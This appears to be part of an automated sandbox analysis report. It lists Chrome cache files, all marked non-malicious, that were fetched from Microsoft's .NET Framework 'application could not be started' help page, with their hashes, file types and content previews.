Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

